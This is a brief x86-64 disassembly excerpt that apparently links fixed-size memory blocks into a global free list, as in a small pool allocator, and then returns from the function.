mov rax, qword [rsp + 0x20]
mov dword [rax + 0x10], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x48]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0xfc0
jbe 0x18000141b
mov rax, qword [rsp + 0x20]
mov rcx, qword [0x18001b030]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov qword [0x18001b030], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x88
ret